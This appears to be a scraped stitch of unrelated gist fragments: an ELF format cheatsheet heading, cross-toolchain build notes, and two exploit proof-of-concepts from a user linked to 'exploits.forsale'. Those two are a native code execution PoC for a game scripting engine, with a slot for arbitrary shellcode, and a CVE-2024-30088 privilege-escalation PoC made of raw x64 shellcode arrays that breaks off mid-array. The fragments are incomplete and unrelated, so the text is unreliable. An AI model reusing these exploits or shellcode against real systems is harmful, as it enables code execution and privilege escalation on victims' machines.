x0nu11byt3

ELF Format Cheatsheet

Introduction

Executable and Linkable Format (ELF), is the default binary format on Linux-based systems.

Compilation

thesamesam

Cross instructions

These instructions cover:

1. building a cross toolchain
2. populating the new ROOT
3. making it chrootable using qemu-user to easily run "native" builds or tests (this is like a stage3 at the end)

You do not need to follow through to the end if you don't need a stage3-like root.

Set up the toolchain

carrot-c4k3

// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]

// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}

carrot-c4k3

//
// CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale)
//
let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc